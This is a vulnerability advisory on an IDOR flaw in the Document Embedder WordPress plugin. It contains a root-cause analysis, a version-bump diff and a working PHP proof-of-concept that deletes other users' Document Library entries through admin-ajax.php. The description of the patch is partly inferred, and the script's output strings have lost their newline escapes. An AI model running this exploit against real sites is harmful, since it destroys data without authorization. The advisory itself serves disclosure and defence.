Atomic Edge analysis of CVE-2026-1389:
The Document Embedder WordPress plugin versions up to 2.0.4 contain an Insecure Direct Object Reference (IDOR) vulnerability. This flaw affects the plugin’s Document Library functionality, allowing authenticated attackers with Author-level permissions or higher to manipulate entries belonging to other users. The vulnerability has a CVSS score of 5.3, indicating medium severity.
The root cause lies in three AJAX handler functions that lack proper authorization checks. The ‘bplde_save_document_library’, ‘bplde_get_single’, and ‘bplde_delete_document_library’ functions in the plugin’s AJAX handlers accept an ‘id’ parameter referencing Document Library entries. These functions do not verify whether the current user has permission to access the specific resource identified by the ‘id’ parameter. The vulnerability exists in the main plugin file document-embedder.php, though the diff shows only version number updates from 2.0.4 to 2.0.5 without revealing the specific security fixes in the AJAX handler implementations.
Exploitation requires an authenticated attacker with at least Author-level access. The attacker sends AJAX requests to the WordPress admin-ajax.php endpoint with the ‘action’ parameter set to one of the vulnerable handlers: ‘bplde_save_document_library’, ‘bplde_get_single’, or ‘bplde_delete_document_library’. By manipulating the ‘id’ parameter to reference Document Library entries created by other users, the attacker can perform unauthorized operations. For deletion attacks, the attacker would send a POST request to admin-ajax.php with action=bplde_delete_document_library and id={target_entry_id}.
The patch in version 2.0.5 adds authorization checks to the vulnerable AJAX handlers. Before the patch, the functions processed any valid ‘id’ parameter without verifying ownership or permissions. After the patch, each handler validates that the current user has appropriate rights to access the specific Document Library entry referenced by the ‘id’ parameter. The version update in document-embedder.php from 2.0.4 to 2.0.5 indicates the security fix release, though the specific code changes to the AJAX handlers are not shown in the provided diff.
Successful exploitation enables authenticated attackers to read, modify, and delete Document Library entries created by other users, including administrators. This leads to unauthorized data access, data manipulation, and data destruction. Attackers can view sensitive documents uploaded by other users, alter document metadata or content, and permanently remove documents from the library. The vulnerability enables horizontal privilege escalation within the Document Library feature, as Author-level users can affect entries belonging to Editors and Administrators.
--- a/document-emberdder/build/all-library.asset.php
+++ b/document-emberdder/build/all-library.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-components', 'wp-media-utils'), 'version' => '374532e294098874f300');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-components', 'wp-media-utils'), 'version' => '6177ffe2f2584ee9300a');
--- a/document-emberdder/build/blocks/document-library/index.asset.php
+++ b/document-emberdder/build/blocks/document-library/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data'), 'version' => '9d47eac727379796ebee');
+<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data'), 'version' => '436c852ef2a5e585abc0');
--- a/document-emberdder/document-embedder.php
+++ b/document-emberdder/document-embedder.php
@@ -4,7 +4,7 @@
* Plugin Name: Document Embedder
* Plugin URI: http://documentembedder.com/
* Description: Embed Any document easily in wordpress such as word, excel, powerpoint, pdf and more
- * Version: 2.0.4
+ * Version: 2.0.5
* Author: bPlugins
* Author URI: http://bplugins.com
* License: GPLv3
@@ -18,7 +18,7 @@
de_fs()->set_basename( false, __FILE__ );
} else {
/* Some Set-up */
- define( 'BPLDE_VER', '2.0.4' );
+ define( 'BPLDE_VER', '2.0.5' );
define( 'BPLDE_PRO_IMPORT', '1.0.0' );
define( 'BPLDE_PLUGIN_DIR', plugin_dir_url( __FILE__ ) );
define( 'BPLDE_PLUGIN_PATH', plugin_dir_path( __FILE__ ) );
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1389 - Document Embedder <= 2.0.4 - Insecure Direct Object Reference to Authenticated (Author+) Arbitrary Document Library Entry Deletion
<?php
$target_url = 'https://vulnerable-site.com';
$cookie = 'wordpress_logged_in_abc123=...'; // Authenticated session cookie
$target_entry_id = 123; // ID of Document Library entry to delete
// Construct the AJAX request
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
'action' => 'bplde_delete_document_library',
'id' => $target_entry_id
]);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Cookie: ' . $cookie,
'Content-Type: application/x-www-form-urlencoded'
]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// Execute the attack
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Check result
if ($http_code === 200 && strpos($response, 'success') !== false) {
echo "Successfully deleted Document Library entry ID: $target_entry_idn";
} else {
echo "Attack failed. HTTP Code: $http_coden";
echo "Response: $responsen";
}
?>
